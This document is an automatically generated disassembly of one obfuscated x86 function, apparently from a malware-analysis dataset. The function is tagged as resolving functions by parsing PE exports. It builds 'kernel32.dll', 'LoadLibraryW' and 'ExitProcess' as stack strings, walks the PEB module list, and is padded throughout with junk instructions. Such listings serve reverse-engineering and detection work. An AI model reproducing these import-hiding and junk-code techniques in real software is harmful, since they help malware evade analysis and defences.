Function at 0x487cae
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov edx, dword [ebp - 0x4cc]
add edx, 1
mov dword [ebp - 0x4cc], edx
push edx
push esi
add esp, 4
sub edx, 0x800c
or edx, 0x245b
or edx, 0xa98c
pop edx
push ebx
push esi
add esp, 4
add ebx, 0xfb72
pop ebx
push edx
sub edx, 0x17c07
jmp 0x48642c
pop edx
mov eax, dword [ebp - 0x4cc]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x486475
push edi
jmp 0x486444
call 0x486454
add byte [ebp + 0x4a], al
dec ebx
inc esi
inc ebx
dec ebp
cmp al, 0x39
dec eax
dec eax
add esp, 4
pop edi
push esi
push edx
add esp, 4
or esi, 0xe94c
and esi, 0x15bd2
xor esi, 0x181d2
pop esi
jmp 0x4866a3
mov dword [ebp - 0xc08], 7
mov ecx, dword [ebp - 0x4cc]
mov dword [ebp - 0xa68], ecx
push edi
push esi
add esp, 4
xor edi, 0x9365
sub edi, 0x7568
or edi, 0x6b74
add edi, 0x1849b
pop edi
push eax
xor eax, 0x14ab0
or eax, 0xa368
and eax, 0x1638d
pop eax
mov edx, dword [ebp - 0x14bc]
mov dword [ebp - 0xa64], edx
mov dword [ebp - 0xc0c], 0
mov eax, dword [ebp - 0x4cc]
cmp eax, dword [ebp - 0x14bc]
jne 0x486524
push ecx
push ebx
add esp, 4
add ecx, 0x1079f
pop ecx
push esi
sub esi, 0x17df2
pop esi
push edx
push edi
add esp, 4
sub edx, 0xf0e8
and edx, 0x9447
and edx, 0xd534
and edx, 0x10a4
pop edx
mov ecx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], ecx
jmp 0x486655
cmp dword [ebp - 0xc08], 0
jle 0x486649
push ecx
and ecx, 0x13463
pop ecx
push ebx
push edi
add esp, 4
or ebx, 0xb265
add ebx, 0x14b8f
sub ebx, 0xe8f1
pop ebx
push edx
push ecx
add esp, 4
xor edx, 0xd9e2
and edx, 0x12b4c
pop edx
mov edx, dword [ebp - 0xa68]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa64]
movzx edx, byte [ecx]
cmp eax, edx
je 0x4865e5
push esi
push ecx
add esp, 4
or esi, 0x14832
xor esi, 0x399c
add esi, 0x3566
pop esi
push ebx
sub ebx, 0x29d7
pop ebx
push ebx
push ebx
add esp, 4
sub ebx, 0xac13
or ebx, 0x1509e
pop ebx
mov eax, dword [ebp - 0xa68]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xa64]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x4865cd
mov dword [ebp - 0x14c0], 1
jmp 0x4865d7
mov dword [ebp - 0x14c0], 0xffffffff
mov ecx, dword [ebp - 0x14c0]
mov dword [ebp - 0xc0c], ecx
jmp 0x486649
push edi
push esi
add esp, 4
jmp 0x4865f2
or edi, 0x137bd
pop edi
push eax
push edi
add esp, 4
sub eax, 0x16f9d
and eax, 0xfd4c
pop eax
push ebx
push eax
add esp, 4
add ebx, 0x7365
pop ebx
mov edx, dword [ebp - 0xc08]
sub edx, 1
mov dword [ebp - 0xc08], edx
mov eax, dword [ebp - 0xa68]
add eax, 1
mov dword [ebp - 0xa68], eax
mov ecx, dword [ebp - 0xa64]
add ecx, 1
mov dword [ebp - 0xa64], ecx
jmp 0x486524
mov edx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], edx
cmp dword [ebp - 0x14c4], 0
jne 0x48669e
push edx
push edi
add esp, 4
and edx, 0x10dac
or edx, 0x1211a
call 0x48667e
add byte [ecx + eax*2], bh
inc eax
xor al, 0x37
xor esi, dword [esi]
cmp ecx, dword [ebp - 0x7d]
les eax, [ecx + eax*4]
ljmp 0x525a
jmp 0x4863ec
push ebx
xor ebx, 0x1d49
jmp 0x4866b0
or ebx, 0x17ad0
pop ebx
push eax
push eax
add esp, 4
and eax, 0x14f0c
xor eax, 0x7b4f
pop eax
push eax
push ecx
add esp, 4
or eax, 0x7852
pop eax
mov dword [ebp - 0x3cc], 0
push esi
sub esi, 0x6fe3
and esi, 0x63c8
jmp 0x4866f2
xor esi, 0xa0c3
pop esi
push edx
push eax
add esp, 4
add edx, 0xc47f
or edx, 0x8502
xor edx, 0x164f3
pop edx
push ecx
sub ecx, 0x6569
xor ecx, 0xbc19
pop ecx
push eax
push ecx
add esp, 4
sub eax, 0x4897
add eax, 0xd04d
jmp 0x486736
pop eax
push eax
push ecx
add esp, 4
or eax, 0xc366
pop eax
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb80]
mov dword [ebp - 0x14c8], eax
push eax
call 0x486765
add byte [edi + eax*2], bh
aas
dec ecx
dec edi
inc esp
add esp, 4
pop eax
push ebx
or ebx, 0x77e6
xor ebx, 0x17cac
pop ebx
push ebx
jmp 0x48677d
and ebx, 0x180cd
or ebx, 0xaf06
pop ebx
mov dword [ebp - 0x1fac], 0xffffffff
push eax
and eax, 0x29df
sub eax, 0xc25d
pop eax
push eax
push edx
add esp, 4
or eax, 0x14016
and eax, 0x16cee
pop eax
push edi
push ecx
add esp, 4
xor edi, 0x125f5
or edi, 0x6814
pop edi
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4d0], ecx
jmp 0x4867e3
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
push eax
call 0x4867f3
add byte [edx + ecx*2], bh
dec ebp
dec edi
push eax
dec eax
dec ebp
cmp eax, 0x4c4834b
pop eax
push edi
push ebx
add esp, 4
or edi, 0x16cf7
call 0x486811
add byte [edi], bh
xor edi, dword [ebx]
inc edi
dec edx
xor esi, dword [edi]
inc ebx
cmp al, 0x83
les eax, [edi + ebx*2]
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x48685d
push edi
push eax
add esp, 4
jmp 0x486830
sub edi, 0x1151a
add edi, 0xd2db
or edi, 0x2e5f
pop edi
push eax
and eax, 0xd9c7
sub eax, 0xf2ee
jmp 0x486857
pop eax
jmp 0x486a8b
mov dword [ebp - 0xc10], 7
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0xa60], ecx
push edx
xor edx, 0x17a98
add edx, 0x1555f
jmp 0x486889
pop edx
push ebx
push eax
add esp, 4
sub ebx, 0xa4c2
call 0x4868a1
add byte [ecx + 0x48], cl
xor eax, 0x83373236
les eax, [ebx + ebx*2]
mov edx, dword [ebp - 0x14c8]
mov dword [ebp - 0x9f0], edx
mov dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x14c8]
jne 0x48690c
push esi
call 0x4868d8
add byte [edx + 0x3f], cl
dec esp
inc edx
inc ebx
cmp dword [ecx - 0x7d], ecx
les eax, [ecx + eax*4]
out 0xce, al
call 0x51a668e3
and ecx, 0x177f4
call 0x4868f7
add byte [0x3c404546], bh
dec eax
dec edi
xor al, 0x83
les eax, [ecx + ebx*2]
mov ecx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], ecx
jmp 0x486a3d
cmp dword [ebp - 0xc10], 0
jle 0x486a31
push edx
push esi
add esp, 4
jmp 0x486925
pop edx
push eax
call 0x486935
add byte [esi], dh
cmp al, 0x4e
cmp ecx, dword [esi + 0x48]
dec edx
dec ecx
add esp, 4
or eax, 0x3172
add eax, 0xa4f3
xor eax, 0x67ad
pop eax
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x9f0]
movzx edx, byte [ecx]
cmp eax, edx
je 0x4869cd
push eax
xor eax, 0x1c5a
or eax, 0x58fe
sub eax, 0x17983
add eax, 0x6cba
pop eax
push eax
push ebx
add esp, 4
and eax, 0x147e2
add eax, 0x13cc0
and eax, 0xbd95
pop eax
mov eax, dword [ebp - 0xa60]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x9f0]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x4869b5
mov dword [ebp - 0x14cc], 1
jmp 0x4869bf
mov dword [ebp - 0x14cc], 0xffffffff
mov ecx, dword [ebp - 0x14cc]
mov dword [ebp - 0xc14], ecx
jmp 0x486a31
push esi
push ecx
add esp, 4
and esi, 0x17e85
add esi, 0xcf46
jmp 0x4869e5
pop esi
push ecx
or ecx, 0x7ca8
call 0x4869fb
add byte [ebp + 0x3f], al
inc edx
dec ecx
dec esp
cmp al, byte [eax - 0x7d]
les eax, [ecx + ebx*2]
mov edx, dword [ebp - 0xc10]
sub edx, 1
mov dword [ebp - 0xc10], edx
mov eax, dword [ebp - 0xa60]
add eax, 1
mov dword [ebp - 0xa60], eax
mov ecx, dword [ebp - 0x9f0]
add ecx, 1
mov dword [ebp - 0x9f0], ecx
jmp 0x48690c
mov edx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], edx
cmp dword [ebp - 0x14d0], 0
jne 0x486a86
push esi
and esi, 0x6d75
xor esi, 0xf86d
sub esi, 0x14e91
pop esi
push ebx
push edi
add esp, 4
xor ebx, 0xb9a5
and ebx, 0x129df
xor ebx, 0x990e
sub ebx, 0x9897
pop ebx
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0xa5c], eax
jmp 0x486ac7
jmp 0x4867d4
push ebx
sub ebx, 0x620e
call 0x486aa1
add byte [0x333a4c42], bh
cmp byte [edx + 0x4a], al
cmp dword [ebx - 0x1c7efb3c], eax
and dl, byte [eax]
add byte [eax], al
pop ebx
push eax
push edi
add esp, 4
xor eax, 0x64b2
xor eax, 0x298d
pop eax
mov dword [ebp - 0xa5c], 0
push ecx
push eax
add esp, 4
call 0x486adb
add byte [ebx], bh
xor esi, dword [edx]
inc ebx
inc ebp
aas
aas
dec edi
xor al, 0x83
les eax, [ecx + ebx*2]
push edx
add edx, 0x15ab7
or edx, 0x7b5d
or edx, 0x17739
and edx, 0x1082f
pop edx
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push edi
push esi
add esp, 4
or edi, 0xa017
call 0x486b67
add byte [ecx + 0x49], cl
cmp eax, 0x3c503e32
add esp, 4
add edi, 0xe266
and edi, 0x1939
pop edi
push ebx
xor ebx, 0x12332
pop ebx
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push ecx
push esi
add esp, 4
add ecx, 0x42f2
sub ecx, 0x6566
xor ecx, 0x8778
sub ecx, 0x1167a
pop ecx
push ecx
push ecx
add esp, 4
sub ecx, 0x4582
jmp 0x486c49
pop ecx
push ebx
add ebx, 0x2026
call 0x486c5f
add byte [ecx*2 + 0x41453545], bh
aaa
cmp al, byte [ebx - 0x1c7efb3c]
xchg edi, eax
push edi
add dword [eax], eax
call 0x486c78
add byte [ecx + 0x4d], al
inc ebp
inc esp
inc ebp
inc edx
dec edi
inc edx
dec edx
add esp, 4
pop ebx
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push edx
and edx, 0x3eaa
add edx, 0xf3bf
jmp 0x486cb7
sub edx, 0xf9df
pop edx
push edi
or edi, 0x121c6
call 0x486cd2
add byte [ecx + 0x46], cl
cmp dword [eax], edi
xor eax, dword ss:[ecx - 0x7d]
les eax, [edi + ebx*2]
cmp dword [ebp - 0x14d4], 0
jne 0x486cee
mov dword [ebp - 0x2e0], 0
jmp 0x486faa
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push ebx
or ebx, 0x14337
jmp 0x486d0e
pop ebx
push edi
push ebx
add esp, 4
call 0x486d22
add byte [eax], bh
push eax
cmp eax, 0x453b364e
xor eax, dword [ebx - 0x387efb3c]
aad 0x21
add dword [eax], eax
add edi, 0x78b5
pop edi
cmp dword [ebp - 0xc20], 0
jne 0x486d4a
mov dword [ebp - 0x2e0], 0
jmp 0x486faa
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push ebx
or ebx, 0x752
call 0x486d6d
add byte [edx], dh
dec eax
dec ebp
inc ebx
inc esi
cmp eax, 0x50324c45
add esp, 4
jmp 0x486d77
call 0x486d84
add byte [0x443f473b], dh
dec eax
xor al, 0x83
les eax, [ebx + ebx*2]
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push ebx
push eax
add esp, 4
xor ebx, 0xc4d8
xor ebx, 0xc86b
and ebx, 0x16e66
pop ebx
push esi
sub esi, 0xcb07
pop esi
push ecx
push ebx
add esp, 4
sub ecx, 0xcc42
sub ecx, 0x8d52
pop ecx
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push ecx
sub ecx, 0x7c81
jmp 0x486e51
jmp 0x486e59
add ecx, 0x105e0
pop ecx
push eax
xor eax, 0xe33b
xor eax, 0x5aa2
jmp 0x486e72
pop eax
movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x486e96
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x486ef9
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x486db5
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x486db5
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x486ee3
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x486eed
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x486f42
push edi
add edi, 0x87a2
sub edi, 0x11ebf
and edi, 0x648d
and edi, 0xc1e1
pop edi
push edi
push ebx
add esp, 4
or edi, 0x1106c
sub edi, 0x417
or edi, 0x125ff
pop edi
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2e0], eax
jmp 0x486faa
push eax
call 0x486f4f
add byte [edx], dh
inc esi
xor eax, 0x83343e3d
les eax, [ebx + ebp*8]
add eax, 0x383d4648
cmp byte [eax + 0x52], bl
push ecx
add esp, 4
add edx, 0x10f32
pop edx
push edi
and edi, 0x3083
jmp 0x486f73
pop edi
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [ecx]
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0xc20]
je 0x486fa0
mov ecx, dword [ebp - 0x4d4]
cmp dword [ecx + 0x30], 0
jne 0x486d56
mov dword [ebp - 0x2e0], 0
push ebx
or ebx, 0xa4a4
xor ebx, 0x11dce
and ebx, 0x81d4
pop ebx
push edx
or edx, 0x2d6a
pop edx
push ebx
xor ebx, 0x114a1
xor ebx, 0x2c53
pop ebx
push esi
sub esi, 0x8195
pop esi
cmp dword [ebp - 0x2e0], 0
jne 0x4878f5
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push edx
push edx
add esp, 4
jmp 0x48708e
add edx, 0x461f
jmp 0x487099
pop edx
push ecx
add ecx, 0xa73a
xor ecx, 0xe6e
pop ecx
push edi
push ebx
add esp, 4
sub edi, 0x16209
pop edi
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push ebx
push edi
add esp, 4
and ebx, 0x1446f
xor ebx, 0x213f
pop ebx
push esi
push ebx
add esp, 4
or esi, 0x1118b
pop esi
push eax
push eax
add esp, 4
and eax, 0x377e
pop eax
push edx
xor edx, 0x18505
pop edx
cmp dword [ebp - 0x14dc], 0
jne 0x487180
mov dword [ebp - 0x6ec], 0
jmp 0x48743c
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push edx
push edx
add esp, 4
and edx, 0x13768
sub edx, 0x3546
pop edx
push edi
push ebx
add esp, 4
xor edi, 0x1199d
sub edi, 0x16334
sub edi, 0x21c2
jmp 0x4871c3
pop edi
cmp dword [ebp - 0xc2c], 0
jne 0x4871dc
mov dword [ebp - 0x6ec], 0
jmp 0x48743c
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push edi
and edi, 0x17a3
add edi, 0x88d2
pop edi
push esi
push esi
add esp, 4
and esi, 0x163c7
pop esi
push eax
push esi
add esp, 4
add eax, 0xe86d
sub eax, 0x6fc8
and eax, 0x11584
pop eax
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push ebx
push ecx
add esp, 4
and ebx, 0x13b72
add ebx, 0x17d73
pop ebx
push eax
push ecx
add esp, 4
add eax, 0xfd9b
and eax, 0xdeb5
jmp 0x487272
or eax, 0x6230
pop eax
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push eax
jmp 0x4872da
call 0x4872e7
add byte [edx + 0x39], cl
xor eax, 0x45454c4f
add esp, 4
and eax, 0xbcc5
pop eax
push eax
push ecx
add esp, 4
and eax, 0x4748
pop eax
push edx
add edx, 0xe87b
pop edx
movzx eax, word [ebp - 0x104]
test eax, eax
jne 0x487328
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
sub ecx, edx
mov dword [ebp - 0x14e4], ecx
jmp 0x48738b
movzx eax, word [ebp - 0x1fc]
movzx ecx, word [ebp - 0x104]
cmp eax, ecx
je 0x487247
movzx edx, word [ebp - 0x1fc]
xor edx, 0x20
movzx eax, word [ebp - 0x104]
cmp edx, eax
je 0x487247
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
cmp ecx, edx
jge 0x487375
mov dword [ebp - 0x14e0], 0xffffffff
jmp 0x48737f
mov dword [ebp - 0x14e0], 1
mov eax, dword [ebp - 0x14e0]
mov dword [ebp - 0x14e4], eax
cmp dword [ebp - 0x14e4], 0
jne 0x4873d4
push eax
add eax, 0xf3a2
or eax, 0x13d12
pop eax
push esi
add esi, 0x6ecd
xor esi, 0x1665d
pop esi
push eax
add eax, 0xd450
pop eax
push edx
xor edx, 0x1008
sub edx, 0x99c4
pop edx
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x6ec], ecx
jmp 0x48743c
push esi
push eax
add esp, 4
sub esi, 0xa922
sub esi, 0xc212
jmp 0x4873eb
pop esi
push edi
sub edi, 0x34b9
add edi, 0x86ae
or edi, 0x121f5
sub edi, 0x100c
pop edi
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [ebp - 0xc2c]
je 0x487432
mov edx, dword [ebp - 0x4d8]
cmp dword [edx + 0x30], 0
jne 0x4871e8
mov dword [ebp - 0x6ec], 0
push edi
push eax
add esp, 4
add edi, 0x758c
xor edi, 0x1039
or edi, 0x15f6f
pop edi
push ecx
call 0x487464
add byte [edi + 0x37], al
cmp al, 0x47
inc ebp
cmp edi, dword [esi]
cmp dword [ebp - 0x7d], ecx
cmp dword ds:[ebp - 0x7d], ecx
les eax, [ecx + eax*4]
loope 0x487461
loope 0x48746c
add byte [ecx - 0x7d], bl
mov ebp, 0xfffff914
add byte [ebp + 0x41], dh
push ecx
or ecx, 0x11b3a
pop ecx
push edx
push edi
add esp, 4
add edx, 0x236b
jmp 0x487490
and edx, 0x20be
add edx, 0x11196
pop edx
push edi
push ebx
add esp, 4
xor edi, 0xea36
pop edi
mov dword [ebp - 0x738], 0
jmp 0x487fdf
push edx
or edx, 0xf971
pop edx
push ecx
push esi
add esp, 4
or ecx, 0x13db3
and ecx, 0x136b1
pop ecx
push edx
push ecx
add esp, 4
xor edx, 0x40da
sub edx, 0x12ed
or edx, 0x17c34
pop edx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push ebx
push esi
add esp, 4
or ebx, 0x3032
xor ebx, 0x15a63
call 0x48796e
add byte [edi + 0x40], cl
dec eax
cmp dword [edi], edi
cmp al, 0x39
dec esi
inc esi
add esp, 4
or ebx, 0x620a
pop ebx
push edx
or edx, 0x14561
pop edx
cmp dword [ebp - 0x14f4], 0
jne 0x487998
mov dword [ebp - 0x2e0], 0
jmp 0x487c3f
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push edi
or edi, 0x15f64
call 0x4879bd
add byte [esi], dh
cmp al, byte [edx + 0x39]
inc ebx
aaa
add esp, 4
or edi, 0x16
pop edi
push edi
jmp 0x4879d1
pop edi
push edx
jmp 0x4879db
pop edx
cmp dword [ebp - 0xc3c], 0
jne 0x4879f4
mov dword [ebp - 0x2e0], 0
jmp 0x487c3f
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push ecx
push edi
add esp, 4
sub ecx, 0x38ef
xor ecx, 0xffc5
pop ecx
push edi
call 0x487a22
add byte [0x4a3e3949], bh
cmp dword [eax], edi
dec esp
inc esi
add esp, 4
and edi, 0xbc01
xor edi, 0x15ec1
pop edi
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push edi
add edi, 0xea9
xor edi, 0x10d85
pop edi
push edi
push ebx
add esp, 4
jmp 0x487a76
add edi, 0x6cc5
pop edi
push edx
push eax
add esp, 4
sub edx, 0x345b
jmp 0x487a8d
pop edx
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push esi
call 0x487af6
add byte [edi + 0x36], al
aas
inc edx
dec esi
dec eax
xor al, 0x4e
dec ebx
add esp, 4
jmp 0x487afe
sub esi, 0x3746
xor esi, 0x4231
pop esi
push edx
push ecx
add esp, 4
sub edx, 0x15a97
pop edx
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x487b34
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x487b8e
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x487a5c
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x487a5c
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x487b78
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x487b82
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x487bd7
push edi
push ebx
add esp, 4
or edi, 0x13fdc
pop edi
push ecx
push eax
add esp, 4
or ecx, 0x4a65
or ecx, 0x1496e
add ecx, 0x10812
pop ecx
push ebx
xor ebx, 0xe942
add ebx, 0xb1b6
pop ebx
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x487c3f
push eax
and eax, 0x132b
sub eax, 0xa829
pop eax
push eax
push edi
add esp, 4
sub eax, 0x1131e
call 0x487bff
add byte [edx + 0x3f], cl
cmp dword [edi], esi
inc ebx
cmp byte [ecx], bh
inc ebp
dec eax
add esp, 4
xor eax, 0xf13b
pop eax
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc3c]
je 0x487c35
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
jne 0x487a00
mov dword [ebp - 0x2e0], 0
push ecx
push esi
add esp, 4
add ecx, 0x1499b
xor ecx, 0x8cc0
or ecx, 0x15b70
and ecx, 0x5a63
pop ecx
push ecx
and ecx, 0xc2db
pop ecx
push ecx
push edi
add esp, 4
and ecx, 0x1703d
pop ecx
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push eax
xor eax, 0xfbd0
add eax, 0x14fe4
pop eax
push edi
xor edi, 0xa865
and edi, 0x755a
sub edi, 0x2942
call 0x487cae
add byte [esi], dh
dec esi
dec esi
dec ebp
xor al, 0x43
inc eax
add esp, 4
pop edi
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
jne 0x487ce2
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x487fd3
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1504], edx
jne 0x487d0a
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x487fd3
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1504]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1508], ecx
cmp dword [ebp - 0x1508], 0
jne 0x487d3c
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
jmp 0x487fd3
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1508]
mov dword [ebp - 0x700], eax
jne 0x487d61
